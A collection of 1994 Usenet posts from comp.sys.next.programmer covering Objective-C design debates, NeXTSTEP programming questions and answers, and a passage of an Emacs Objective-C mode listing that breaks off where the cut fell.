From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Let us be philosophical Date: 26 Feb 1994 10:55:06 -0000 Organization: me organized? That's a joke! Message-ID: <2kn9qa$1r9@steffi.demon.co.uk> References: <2kl4v5$arb@meaddata.meaddata.com> <1994Feb25.182339.5944@adobe.com> Scott Byer <byer@mv.us.adobe.com> wrote in comp.sys.next.programmer >Dave Anderson writes > >> michael barthelemy > Since Obj-C method calls are about four times >> michael barthelemy > slower than function calls... > >> I'm just wondering where this stat comes from; I'd like to read the >> reference. > >I understand that it's about 9-12 instructions overhead on the 68k >for an ObjC call. Given that it doesn't have to put up a stack >frame, that about equivalent to the frame begin/end instructions >(which, although only about 6-8 instructions, includes the MMOV >instruction for saving off the registers, which is expensive), maybe >even less. > >So I'd hardly say four times. Maybe something more like 1.5 - 2 times. How about the speed difference b/w a method and _an inline function call_ would probably would be how NXRects etc would be accessed. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: OPN Question: Standard Protocols Date: 26 Feb 1994 11:32:50 -0000 Organization: me organized? That's a joke! Message-ID: <2knc12$1v1@steffi.demon.co.uk> References: <2klmkc$lao@nntp2.stanford.edu> bali@leland.Stanford.EDU (Valentina Andrea Bali) wrote in comp.sys.next.programmer >Standard interfaces have been a tremendously powerful concept in >computing; the existence of SQL, for example, as a standard >language has fueled the growth of the relational database vendors >who implement it. I ask you though, how many variations on SQL have there been? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: alf@xenon.stgt.sub.org (Ingo Feulner) Newsgroups: comp.sys.next.programmer Subject: Killing hanging threads Date: 25 Feb 1994 11:49:05 +0100 Organization: Private site, Boeblingen - Germany Message-ID: <2kkl31$7l0@xenon.stgt.sub.org> Hello, is there a secure way to abort (or kill) a hanging thread? cthread_abort often crashes the whole program. Please e-mail. Thanks for any answer. -Ingo. -- Ingo Feulner - Wolfacher Weg 19 - 71034 Boeblingen - alf@xenon.stgt.sub.org
From: carsten@pizza.fb10.tu-berlin.de (Carsten Schultz) Newsgroups: comp.sys.next.programmer Subject: end Date: 26 Feb 1994 13:53:10 GMT Organization: TUBerlin/ZRZ Distribution: world Message-ID: <2knk86$d9b@brachio.zrz.TU-Berlin.DE> Hi, while porting a program from a SUN, I stumbled upon the following piece of code. Any ideas what I should make of this? There seems to be no 'end' in the library. Thanxinadvance, Carsten #if 0 ------------------------------------------------------------------------ DISTINGUISHING HEAP POINTERS The following stuff is used to distinguish heap, root and stack locations from info pointers -- i.e. Dynamic stuff from static stuff. This is done using &end which is the address of the first word above the data region. Dynamically allocated memory (heap, stack, roots) will be above this while static memory (info tables) will be below this ToDo: I do not know how unix dependent this is, Patrick. Strictly, end is a Unix library variable. C compilers often provide this: some might allocate static definitions above the top of dynamic memory, though. I would keep it as is, but note that it needs to be checked for non-Unix systems. KH ------------------------------------------------------------------------ #endif /* 0 */ extern end; #define DYNAMIC_POINTER(ptr) ((ptr) >= (StgPtr)(&end)) -- Carsten Schultz (carsten@pizza.fb10.tu-berlin.de) "One day I may find it quite amusing How touch and tongues make life so confusing" Anne Clark
Newsgroups: comp.sys.next.programmer From: mzeller@gwdu03.gwdg.de (Meinrad Zeller) Subject: Re: Is inheritance a good idea? Message-ID: <AADMBSPC@gwdu03.gwdg.de> Organization: GWDG, Goettingen References: <1994Feb22.172154.1809@afs.com> Date: Sat, 26 Feb 1994 15:09:44 GMT Michael Pizolato (Michael_Pizolato@afs.com) wrote: : Meinrad Zeller writes : [snip] : >Programming is really difficult. : [snip] : No, _design_ is really difficult. Programming, following after : good design, is really easy, especially if you implement different : parts of the system with different languages and different tools : as appropriate. Depending on how you define 'design' I agree with your statement: If you also include the design of (low level) algorithms (like a FFT) then programming is really easy after a good design. But I'd rather call that 'typing' than programming. For me design is a part of programming and again I agree that the (high level) design part of programming is very difficult and very important. May be most important. Still I'd like emphasize that the implementation part of programming is not a simple task. [stuff deleted] : The same is true of programmers, who always want to jump right into : coding. Time spent creating a good design _always_always_always_ : pays off tenfold later on, even if during the design phase it looks : like nothing is being produced. This applies as much to designing : inheritance as it does to anything else. Always view the problem : at the highest possible level, and the lower levels tend to fall : into place by themselves. This is a very good statement. And I see here one of the advantages of OOP that programmers are forced to think this way, if they want to be successfull. For many programmers coming from procedural languages this very high emphasis of design is new. Some of them have problems getting used to the new paradigm so they still are programming old fashioned in an OOP language, what is not OO programming. The other way round you _can_ do OOP also in C or PASCAL. C and PASCAL merely aren't the right tools for OOP (C++ neither :-). : I think that Zeller analyzes too deeply, or gets tangled up in : implementation issues. At a high level, I know I can multiply : numbers regardless of their type. When I'm thinking at that level, : I shouldn't have to care about any more detail than that. I don't : care if it's a difficulty for the program, I just expect that the : program can be coded to do it properly. It doesn't affect my design, : so I can define '*' for a new mathematical matrix class with no : concern for any other meanings that '*' may have. My point is that the different levels of abstraction should also reflect themself in the source code. Source code is the projection of your design and your ideas in a programming language and it should be as obvious as possible which ideas you had when you wrote the code. Now I claim that operator overloading won't help you here. Thank you for the intersting discussion - it gave me new insights and I also had to change my mind on some aspects. Meinrad -- Meinrad Zeller Foehrenweg 1 D-37077 Goettingen Tel.: +49-551-300095
Newsgroups: comp.sys.next.programmer From: davis@sonata.cc.purdue.edu (Robert Davis) Subject: Re: How do you (best) free NIB objects? Message-ID: <CLuAFK.4FD@mentor.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University, West Lafayette, IN References: <CLr7qJ.B3v@mentor.cc.purdue.edu> <2klo1g$ffq@cnn.sim.es.com> Date: Sat, 26 Feb 1994 16:14:08 GMT In article <2klo1g$ffq@cnn.sim.es.com>, Nevin Pratt <npratt@glacier.sim.es.com> wrote: > >Why do you care if NXApp's delegate gets freed? The delegate needs to >be around as long as NXApp is, and if NXApp goes away, the program has >terminated anyway, resulting in an ipso-facto free of the delegate with >no added effort. > Right -- that's my justification for letting it go. It just means that you have to put any cleanup code that you would normally do in -free into -appWillTerminate:. <shrug> Rob -- | Robert Davis davis@sonata.cc.purdue.edu | "Look up, Hannah." NeXT Mail accepted --
Newsgroups: comp.sys.next.programmer From: jmh@info.polymtl.ca (Jean-Marc Heneman) Subject: emacs objc mode? where? Message-ID: <1994Feb26.182200.21986@vlsi.polymtl.ca> Summary: objective-c mode for emacs? Keywords: OBJECTIVE-C MODE EMACS Sender: news@vlsi.polymtl.ca (USENET News System) Organization: Ecole Polytechnique de Montreal Date: Sat, 26 Feb 1994 18:22:00 GMT Where can i find an objc mode for emacs? [objective-C mode] thanks -- jmh jean-marc heneman = jmh@info.polymtl.ca if mail bounces, try jmh@aircanada.ca I prefer ASCII mail for now, but you can send me NextMail for attachment __ / /_/ __/ / /
Newsgroups: comp.sys.next.programmer From: tom@basil.icce.rug.nl (Tom R.Hageman) Subject: Re: Installing gcc 2.5.8 Message-ID: <CLsynI.1Jp@basil.icce.rug.nl> Sender: tom@basil.icce.rug.nl (Tom R.Hageman) Organization: Lofty Waters References: <CLoD6M.AGL@nyro.com> Date: Fri, 25 Feb 1994 23:02:06 GMT In article <CLoD6M.AGL@nyro.com> ian_stewart@nyro.com (Ian H. Stewart) writes: > I would like to get this working. > I got the gcc-2.5.8.tar.Z from prep > and compiled it and installed and > I get nothing but errors. I probably > did it wrong. A step by step guide > would be appreciated and I will submit > it to the FAQ. (This is rapidly becoming a FAQ, over in gnu.gcc.help;-) I suspect you are trying to install gcc on a NS 2.x system. This does not work. The problem is that NeXT added a load of new assembler directives to the NS 3.x assembler, and gcc is configured to use these. What we really need is a volunteer who is willing and able to put together a gcc configuration for NS 2.x. Unfortunately I'm unable to help with this, since I'm running NS 3.2. Bye, -- __/__/__/__/ Tom Hageman (tom@basil.icce.rug.nl) [NeXTMail accepted] __/ __/_/ __/__/__/ "...to baldly go where no man has gone before." __/ _/_/ -- star trek TNG
Newsgroups: comp.sys.next.programmer From: pmy@virginia.edu (Pete Yadlowsky) Subject: Re: Simple Text object question Message-ID: <CLsx41.360@murdoch.acc.Virginia.EDU> Sender: usenet@murdoch.acc.Virginia.EDU Organization: University of Virginia References: <62255@sdcc12.ucsd.edu> Date: Fri, 25 Feb 1994 22:28:49 GMT Mark Stankus writes >I want to be able to append a line of text to the text object from >inside my program. I don't know why there isn't a single method for this, but I've always done something like: int len = [text textLength]; [text setSel:len :len]; // make empty selection at end of text [text replaceSel:newText]; -- Peter M. Yadlowsky | Wake! The sky is light! Information Technology & Comm. | Let us to the Net again... University of Virginia | Companion keyboard. pmy@Virginia.EDU | - after Basho
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Sat, 26 Feb 1994 09:57:32 PST Message-ID: <1994Feb26.175732.3368@corona.com> Newsgroups: comp.sys.next.programmer,comp.lang.objective-c Subject: Forcing ObjC SEL info to be included in .o References: <PEDJA.94Feb25221242@midgard.cs.umd.edu> From: pedja@cs.umd.edu (& Bogdanovich) > Now, sending message myMethod to any remote object in > the remote program: > > [remoteObject perform:SELUID("myMethod")]; > > DOES NOT WORK, since the second program does NOT know > what SEL for myMethod is! One way to avoid this is illustrated below: korona> cat tmp.m #include <appkit/appkit.h> main() { printf( "%lx\n", SELUID( "someMethod")); printf( "%lx\n", @selector( otherMethod)); } korona> tmp 0 602c The @selector syntax guarantees the method name is entered into the selector table. This won't work if the method name is a variable rather than a constant. In that case you can register the name manually with SEL sel_registerName(const char *aName) --- NeXTMail:Peter_Kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
From: ricardo@pencom.com (Ricardo Parada) Newsgroups: comp.sys.next.programmer Subject: Re: NeXT 3.2 device driver information wanted! Date: 26 Feb 1994 21:37:07 GMT Organization: Pencom Sofware Message-ID: <2kofe3$da2@digdug.pencom.com> References: <CLrxD5.IsA@csn.org> In article David H. Goodlette writes: > > At the risk of slitting my own throat, I'm forwarding this onto > my customer in order to give them the option if they want to buy > instead of build. Unfortunately, even with all the problems > I've had, I'm still having loads of fun writing it... > > Dave The 82596 is quite complex huh? -- + Ricardo J. Parada "Imagination is more important than knowledge!"..-- Albert Einstein
From: hitt@Xenon.Stanford.EDU (Daniel Hitt) Newsgroups: comp.sys.next.programmer Subject: detecting whether an app is running Date: 26 Feb 1994 22:17:53 GMT Organization: Computer Science Department, Stanford University. Sender: hitt@cs.stanford.edu Message-ID: <2kohqh$bea@Times.Stanford.EDU> Summary: how does one do this (if faq, where?) Keywords: detecting status of app Is there a way for an app to detect whether another app is running (e.g., Edit or Webster), WITHOUT (of course) starting up the other app? Of course this can be done by forking off a ps process and grepping through its output, but i would prefer a simple message or function call to do this. (If this is a FAQ, and i think i remember seeing it on the programmer's list sometime back, please tell me how to access it from the FAQ.) Thanks dan hitt@cs.stanford.edu
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer Subject: Re: Octave. Problem connecting to gnuplot. Date: 26 Feb 1994 23:28:39 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2kolv7$bk3@Times.Stanford.EDU> References: <GISLI.94Feb25010552@timoshenko.eecs.umich.edu> Gisli Ottarsson writes, | | octave:1> gplot rand (100,1) with linespoints | warning: plot: unable to open pipe to `gnuplot' | The problem lies not with octave, but with v.2.5.3 (and possibly earlier versions) of libg++. Octave uses the iopopen.c stuff contained in libg++ which is disabled on a NeXT. Unfortunately, you're not going to be able to fix things if you're working directly from the binary octave distribution. When I discovered this problem running octave-0.79, I patched libg++ by adding these two lines near the beginning of libio/iopopen.c: #undef _IO_HAVE_SYS_WAIT #define _IO_HAVE_SYS_WAIT 1 These might break things since they fool the system into thinking it has POSIX, but everything seemed to work just fine for octave-0.79. I'm in the process of compiling octave-1.0 and will post if things work out differently. --- Scott Roy Department of Computer Science Stanford University
Newsgroups: comp.sys.next.programmer From: Michael_Pizolato@afs.com (Michael Pizolato) Subject: Re: Is inheritance a good idea? Message-ID: <1994Feb26.233524.334@afs.com> Sender: Michael_Pizolato@afs.com References: <CLnH7q.13C@agedwards.com> Date: Sat, 26 Feb 1994 23:35:24 GMT Chris Cleeland writes >I still think it's syntactic sugar. Reason? Most programming >languages only have shorthand operators for mathematical operations. >The meaning of these operators in non-numerical contexts is muddy >and ambiguous. What should a String class do with an overloaded >operator '*'? Moreover, what should something like a Window or >View or Control do with an operator '*'? The semantics are simply >not very well-defined. [snip] >I'm not saying that I don't like operator overloading. I miss it >occasionally in Objective C. But, I don't think it's required in >_any_ programming language, as Michael asserts. Such a language >could turn into another APL. Ack! No, not that! ;-) Really, though, I meant that as long as '*' is overloaded for different numeric types, we should go all the way and allow overloading of all kinds. An explosion of operators in strange places is a potential problem. No matter how much a programming language tries to protect you, as long as its a rich enough language there always has to be programmer discipline to keep things sane. Just like there's no reason not to have operator overloading, there's also no reason to define '*' for strings, but if you can justify doing so then there should be nothing stopping you. It's a matter of being reasonable, sort of like taking a RISC approach to programming. That is, introduce as little new functionality as possible to accomplish the task, which also means reusing everything you can. Also, don't surprise people by defining strange things, like '*' for strings, unless you have a really good reason. Thanx, Michael -- Michael_Pizolato@afs.com NeXTMail accepted All things being equal, I'd rather be napping.
Newsgroups: comp.windows.x,comp.sys.next.programmer From: zunger@benji.Colorado.EDU (B. L. Z. Bub) Subject: Re: NextStep .tiff to .xpm wanted Message-ID: <zunger.762329465@benji.Colorado.EDU> Sender: usenet@cnsnews.Colorado.EDU (Net News Administrator) Organization: University of Colorado, Boulder References: <2kd0se$i0c@tardis.alcatel-alsthom.fr> <1994Feb22.155257.11573@cc.usu.edu> Date: Sun, 27 Feb 1994 06:11:05 GMT slxn8@cc.usu.edu writes: >In article <2kd0se$i0c@tardis.alcatel-alsthom.fr>, archer@cett.alcatel-alsthom.fr (Vincent Archer) writes: >> I have a few tiff images from some of NextStep's application that I want to >> use as a base for some icons in one of my own application. I tar-ed these, >> untar-ed on my home workstation, but I'm stuck now: >> >> - I have no function to load one of these .tiff into the X11 server as a pixmap >> >> - XV support .tiff, but not the "two-channel images" that NextStep's icons >> seem to be. >> >> - My pbmplus doesn't seem to have a tiftoppm filter >Get the the pbm source(available all over), and the TIFF library source >(ucbvax.berkeley.edu:/pub/tiff/v3.0.tar.Z). Compile the TIFF library stuff, >compile the pbmplus stuff (making the changes to the Makefiles per the >instructions to use the TIFF library stuff) and your set. >John Zollinger >slxn8@cc.usu.edu Alternatively, GraphicsWorkshop (available at several sites, I think at sonata.cc.purdue.edu) reads and writes something like a dozen file formats, including tiff and xbm. A very useful program. -(yz)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Pure virtual methods in Objective-C? Date: 27 Feb 1994 13:19:49 -0000 Organization: me organized? That's a joke! Message-ID: <2kq6ll$1ii@steffi.demon.co.uk> posted to netnews. Languages like C++ and Eiffel allow the programmer to statically enforce instantiation control of abstract classes. ie. In Eiffel deferred and in C++ pure virtual methods. I was wondering how people go about dealing with clients instantiating objects they shouldn't be. ie. creating instances of abstract classes like say MOController class in Mike Ferris's MOKit. One way to ensure this isn't possible is to override allocFromZone to do a [self notImplemented:_cmd]. This is a runtime check though. Is there any way to statically enforce this in Objective-C? Are people actually taking measure to enforce this? For instance, what happens when you instantiate an abstract class in a NIB? -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Sun, 27 Feb 1994 09:55:17 PST Message-ID: <1994Feb27.175517.487@corona.com> Newsgroups: comp.lang.objective-c,comp.sys.next.programmer Subject: Pure virtual methods in Objective-C? References: <2kq6ll$1ii@steffi.demon.co.uk> From: robert@steffi.demon.co.uk (Robert Nicholson) > Languages like C++ and Eiffel allow the programmer to > statically enforce instantiation control of abstract > classes. ie. In Eiffel deferred and in C++ pure virtual > methods. > > I was wondering how people go about dealing with clients > instantiating objects they shouldn't be. In the gnu compiler, one approach is to define protocols rather than abstract objects. Since abstract objects are defining only a collection of signatures, protocols seem pretty much equivalent. A real class that has only some methods defined and not others would not be possible, but such a class seems less useful. --- NeXTMail:Peter_Kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
From: pkron@corona.com (Peter Kron) Organization: Corona Design, Inc., Seattle, WA Distribution: world Date: Sun, 27 Feb 1994 10:13:28 PST Message-ID: <1994Feb27.181328.500@corona.com> Newsgroups: comp.sys.next.programmer Subject: Re: Is inheritance a good idea? References: <1994Feb26.233524.334@afs.com> From: Michael_Pizolato@afs.com (Michael Pizolato) > An explosion of operators in strange places is a potential > problem. No matter how much a programming language tries > to protect you, as long as its a rich enough language > there always has to be programmer discipline to keep > things sane. Just like there's no reason not to have > operator overloading, there's also no reason to define > '*' for strings, but if you can justify doing so then > there should be nothing stopping you. Taking C++ as an example, however, it's pretty clear that discipline is lacking. True, the hardware overloads + and -, but the hardware also artificially divides the concept of "number" into 8-, 16-, 32-bit integer and floating point entities. There may be some agreement on meaning of + for Strings, but how about - ? Most types just don't have intuitive meanings for operators. Also, consider the confusion in the C++ threads about effects of overloading -> , (), = and potential problems from overloading + but not += or not overloading them consistently. And the issue that operators have a precedence order that is fairly natural for numbers, but may not be for other objects. I agree that some discipline is quite necessary and that we all have different tolerances for what is "flexible" and what is "sloppy". But I'd vote against addition of operator overloading to Objective-C. One of its great advantages is that it doesn't try to be *too* clever, and I'd like it to stay that way. --- NeXTMail:Peter_Kron@corona.com Corona Design, Inc. P.O. Box 51022 Seattle, WA 98115-1022
Newsgroups: comp.sys.next.programmer From: jjfeiler@relief.com (John Jay Feiler) Subject: Re: detecting whether an app is running Message-ID: <CLwGnL.J5v@relief.com> Sender: jjfeiler@relief.com (John Jay Feiler) Organization: Relief Consulting & Development References: <2kohqh$bea@Times.Stanford.EDU> Date: Sun, 27 Feb 1994 20:23:44 GMT In article <2kohqh$bea@Times.Stanford.EDU> hitt@Xenon.Stanford.EDU (Daniel Hitt) writes: > Is there a way for an app to detect whether another app is running > (e.g., Edit or Webster), WITHOUT (of course) starting up the other > app? > > Of course this can be done by forking off a ps process and grepping > through its output, but i would prefer a simple message or > function call to do this. > > (If this is a FAQ, and i think i remember seeing it on the programmer's > list sometime back, please tell me how to access it from the FAQ.) > > Thanks > > dan > hitt@cs.stanford.edu This is just off the top of my head, but if the app in question registers a Listener or a DO with the nameserver, you should be able to tell if it is running by checking to see if the port is registered or not. ( I think this is what the command line program "openfile" does when it looks to see if edit is running. ) John -- John Feiler jjfeiler@relief.com Relief Consulting & Development (206) 743-3953 4926 152nd St. SW NeXTmail Welcome!!! Edmonds, WA 98026-4433 Independent NeXTSTEP Developer --
From: gbrown@raven.ctr.columbia.edu (Glenn Brown) Newsgroups: comp.sys.next.programmer Subject: Where are "__floatdisf" & "__fixunssfdi" defined Date: 28 Feb 1994 01:53:28 GMT Organization: Columbia University Center for Telecommunications Research Message-ID: <2kriqo$834@sol.ctr.columbia.edu> Reply-To: gbrown@raven.ctr.columbia.edu (Glenn Brown) A simulation I am writing uses "unsigned long long ints", but when I try to link it, gcc says "__floatdisf" & "__fixunssfdi" are undefined symbols. They aren't symbols from my code. I did a "fgrep -l __floatdisf /usr/lib/lib*" and couldn't find the symbols. Anyone have any ideas how I can get around this problem? Thanks, Glenn
From: bkr@drdhh.hanse.de (Bjoern Kriews) Newsgroups: comp.sys.next.programmer Subject: Re: Mux Serial bytes to read Date: 27 Feb 1994 15:07:11 +0100 Organization: Digital Island Message-ID: <2kq9ef$685@drdhh.hanse.de> References: <CLqFot.KLy@csn.org> c4craig@csn.org (Craig Anderson) writes: >I would like to get the count of bytes available for input >from the Mux serial driver. Any thoughts on a good way to do >this? Take a look at FIONREAD / TIOCOUTQ (right from my head, sorry) ioctl()'s. Greetings, Bjoern -- bkr@drdhh.hanse.de - Bjoern Kriews - Stormsweg 6 - D-22085 Hamburg [76] - FRG
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: detecting whether an app is running Date: 28 Feb 1994 02:11:26 GMT Organization: San Francisco State University Message-ID: <2krjse$69t@nic-nac.CSU.net> References: <2kohqh$bea@Times.Stanford.EDU> <CLwGnL.J5v@relief.com> In article <CLwGnL.J5v@relief.com> jjfeiler@relief.com (John Jay Feiler) writes: >In article <2kohqh$bea@Times.Stanford.EDU> hitt@Xenon.Stanford.EDU (Daniel >Hitt) writes: >> Is there a way for an app to detect whether another app is running >> (e.g., Edit or Webster), WITHOUT (of course) starting up the other >> app? >This is just off the top of my head, but if the app in question registers a >Listener or a DO with the nameserver, you should be able to tell if it is >running by checking to see if the port is registered or not. I.e. try NXPortNameLookup("Edit", (const char *)NULL) >( I think this is what the command line program "openfile" does when it looks >to see if edit is running. ) I believe it does a netname_look_up() for "EditOpeningPortForUSERNAME"--subtle difference. -=EPS=-
From: dbora@ils.nwu.edu (Donald Bora) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer,comp.sys.next.misc Subject: lipo availability Date: 28 Feb 1994 01:56:45 GMT Organization: The Institute for the Learning Sciences Distribution: world Message-ID: <2krj0t$spj@anaxagoras.ils.nwu.edu> I ran into a slight problem trying to get TransSys PNI Slip to work on my Next. I need either NS 3.1 or lipo to suck the 68000 kernel stuff out of the fat kernel. Would anyone out there be willing to send me lipo? I don't have the moolah to shell out for a version upgrade right now. ( I was told that lipo was available on 3.1 or >... ) -*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Donald F. Bora | | | The Institute for the Learning Sciences | | O | Northwestern University | (--|--) Evanston, Ill | | e-mail: dbora@ils.nwu.edu (Not NeXTMail) | / \ work: (708) 467-1014 | --------Be excellent to each other--------
Newsgroups: comp.sys.next.programmer From: eagle@nest.catt.ncsu.edu (Daniel C. L'Hommedieu) Subject: Mosaic fo NeXT? Message-ID: <1994Feb28.034331.16194@ncsu.edu> Sender: news@ncsu.edu (USENET News System) Organization: NCSU CATT Program Date: Mon, 28 Feb 1994 03:43:31 GMT Greetings, all! I was wondering if anyone is working on Mosaic for the NeXT. I got to play with Mosaic today for the first time; let me tell you this: Mosaic is a powerful tool, and if the NeXT can take advantage of it, I believe it would truly help the NeXT out. Daniel -- Daniel "eagle" L'Hommedieu / Senior, NCSU CSC Dept / eagle@catt.ncsu.edu Windows NT: Just say NoT!
From: kabirmj@nextnet.csus.edu (Mohammed Kabir) Newsgroups: comp.sys.next.programmer Subject: Daemon doesn't disconnect from terminal! Date: 28 Feb 1994 05:19:00 GMT Organization: California State University Sacramento Distribution: world Message-ID: <2krus4$kve@news.csus.edu> I am trying to create a daemon with the folloing code but having trouble getting the process to disconnet itself from the controllling terminal. Can any one explain whats wrong here? Please send me e-mail if possible. Thanks ------------------------------daemon.c-------------------------------- #include <sys/ioctl.h> extern void exit (); void BecomeDaemon (void); void main(void){ BecomeDaemon(); } void BecomeDaemon (void) { register int i; if (fork ()) /* if parent */ exit (0); /* then no more work to do */ setpgrp (0, getpid()); close (0); close (1); close (2); if ((i = open ("/dev/tty", "rw+")) >= 0) { (void) ioctl (i, TIOCNOTTY, (char *) 0); (void) close (i); } /* * Set up the standard file descriptors. */ (void) open ("/", "r"); /* root inode already in core */ (void) dup2 (0, 1); (void) dup2 (0, 2); for(;;) pause(); } -- o============================================================o | M. J. Kabir (Ronak CpE Jr.) UCCS:TLA (Ext: 7202) | | kabir@csus.edu | o============================================================o
Newsgroups: comp.sys.next.programmer From: bbum@friday.com Subject: Re: emacs objc mode? where? Message-ID: <CLwv41.8F@friday.com> Sender: bbum@friday.com (Bill Bumgarner) Organization: Friday Software & Consulting; a virtual company References: <1994Feb26.182200.21986@vlsi.polymtl.ca> Date: Mon, 28 Feb 1994 01:36:00 GMT ;; Major mode for editing Objective-C programs. ;; The Objective-C-mode is an extension of the ;; default C-mode. Unfortunately there are many ;; hardcoded parts for EB SIGNAL use only. However ;; it can be changed. (And has: changed for RDR ;; by Chris Walters. ;; ;; Author: Kenneth Persson (kenneth@eb.se) ;; EB Signal AB, Stockholm, Sweden ;; ;; Modified by: ;; Douglas Worthington, ;; dougw@grebyn.com ;; ;; Brutally hacked by David Stutz ;; ;; Eric Bergerson re-vamped ;; indenetation spacing to be like c-mode's indentation ;; ;; Bill Bumgarner re-re-vamped the indention code to more closely ;; follow Edit's style of indention (4 space based) ;; ;; This is version 3.02. ;; ;; Put this in your .emacs file if its not in site-init.el: ;; ;; (autoload 'objective-C-mode "yourLispCodeDirectory/objective-C-mode" ;; "Objective-C mode" t nil) ;; (setq auto-mode-alist ;; (append '(("\\.h$" . objective-C-mode) ;; ("\\.m$" . objective-C-mode)) ;; auto-mode-alist)) (provide 'objective-C-mode) (defun objective-C-mode-version () "3.03a") (defun echo-objective-C-mode-version () (interactive) (message (concat "Version " (objective-C-mode-version) " of " mode-name " mode."))) (defvar objective-C-interface-file-dir nil "The directory where to put generated interface files") (defvar objective-C-document-file-dir nil "The directory where to put generated document files") (defvar objective-C-mode-map nil "*Keymap used in objective-C mode.") (if objective-C-mode-map nil (let ((map (make-sparse-keymap))) (define-key map "\C-cc" 'objective-C-mfile-header) (define-key map "\C-ch" 'objective-C-hfile-header) (define-key map "\C-cp" 'objective-C-protocol) (define-key map "\C-cf" 'objective-C-factory-method) (define-key map "\C-cm" 'objective-C-instance-method) (define-key map "\C-cl" 'objective-C-codelimit) (define-key map "\C-c\C-m" 'objective-C-method-comment) (define-key map "\C-c\C-cd" 'generate-Objective-C-documentation) (define-key map "\C-c\C-ch" 'generate-Objective-C-hfile) (define-key map "\C-c?" 'describe-objective-C-mode) (define-key map "\C-ci" 'indent-region) (define-key map "\C-ca" 'add-user-sign) (define-key map "\C-cv" 'echo-objective-C-mode-version) (define-key map "{" 'electric-objective-C-brace) (define-key map "}" 'electric-objective-C-brace) (define-key map ":" 'electric-objective-C-keyword-match) (define-key map "\177" 'backward-delete-char-untabify) (define-key map "\t" 'objective-C-indent-command) (setq objective-C-mode-map map))) (define-abbrev-table 'objective-C-mode-abbrev-table ()) (defvar objective-C-mode-abbrev-table nil "abbrevations to use in objective-c") ;; (append objective-C-mode-abbrev-table ;; (list '("ryes" "return YES" nil) ;; '("ry" "return YES" nil) ;; '("rno" "return NO" nil) ;; '("rn" "return NO" nil) ;; '("rs" "return self" nil) ;; '("rnil" "return nil" nil) ;; '("imp" "@implementation" nil) ;; '("intf" "@interface" nil) ;; '("slef" "self" nil) ;; '("st" "STR" nil) ;; '("bo" "BOOL" nil)))) (defvar objective-C-mode-syntax-table nil "Syntax table in use in Objective-C-Mode buffers.") (if objective-C-mode-syntax-table nil (setq objective-C-mode-syntax-table (make-syntax-table)) (modify-syntax-entry ?\\ "\\" objective-C-mode-syntax-table) (modify-syntax-entry ?/ ". 14" objective-C-mode-syntax-table) (modify-syntax-entry ?* ". 23" objective-C-mode-syntax-table) (modify-syntax-entry ?+ "." objective-C-mode-syntax-table) (modify-syntax-entry ?- "." objective-C-mode-syntax-table) (modify-syntax-entry ?= "." objective-C-mode-syntax-table) (modify-syntax-entry ?% "." objective-C-mode-syntax-table) (modify-syntax-entry ?< "." objective-C-mode-syntax-table) (modify-syntax-entry ?> "." objective-C-mode-syntax-table) (modify-syntax-entry ?& "." objective-C-mode-syntax-table) (modify-syntax-entry ?| "." objective-C-mode-syntax-table) (modify-syntax-entry ?\' "\"" objective-C-mode-syntax-table) (modify-syntax-entry ?: "_" objective-C-mode-syntax-table)) ;; Dave Stutz indentation numbers ;; ;;(defconst objective-C-indent-level 4 ;; "*Indentation of C statements with respect to containing block.") ;;(defconst objective-C-brace-imaginary-offset 0 ;; "*Imagined indentation of a C open brace that actually follows a statement.") ;;(defconst objective-C-brace-offset -4 ;; "*Extra indentation for braces, compared with other text in same context.") ;;(defconst objective-C-argdecl-indent 5 ;; "*Indentation level of declarations of C function arguments.") ;;(defconst objective-C-label-offset -4 ;; "*Offset of C label lines and case statements relative to usual indentation.") ;;(defconst objective-C-continued-statement-offset 4 ;; "*Extra indent for lines not starting new statements.") ;; Eric Bergerson indentation numbers ;; ;;(defconst objective-C-indent-level 2 ;; "*Indentation of C statements with respect to containing block.") ;;(defconst objective-C-brace-imaginary-offset 0 ;; "*Imagined indentation of a C open brace that actually follows a statement.") ;;(defconst objective-C-brace-offset -2 ;; "*Extra indentation for braces, compared with other text in same context.") ;;(defconst objective-C-argdecl-indent 5 ;; "*Indentation level of declarations of C function arguments.") ;;(defconst objective-C-label-offset -2 ;; "*Offset of C label lines and case statements relative to usual indentation.") ;;(defconst objective-C-continued-statement-offset 2 ;; "*Extra indent for lines not starting new statements.") ;;(defconst objective-C-auto-newline nil ;; "*Non-nil means automatically newline before and after braces, ;;and after colons and semicolons, inserted in C code.") ;;(defconst objective-C-tab-always-indent t ;; "*Non-nil means TAB in C mode should always reindent the current line, ;;regardless of where in the line point is when the TAB command is used.") ;; Bill Bumgarner's version of indention ;; (defconst objective-C-indent-level 4 "*Indentation of C statements with respect to containing block.") (defconst objective-C-brace-imaginary-offset 0 "*Imagined indentation of a C open brace that actually follows a statement.") (defconst objective-C-brace-offset -4 "*Extra indentation for braces, compared with other text in same context.") (defconst objective-C-argdecl-indent 5 "*Indentation level of declarations of C function arguments.") (defconst objective-C-label-offset -4 "*Offset of C label lines and case statements relative to usual indentation.") (defconst objective-C-continued-statement-offset 4 "*Extra indent for lines not starting new statements.") (defconst 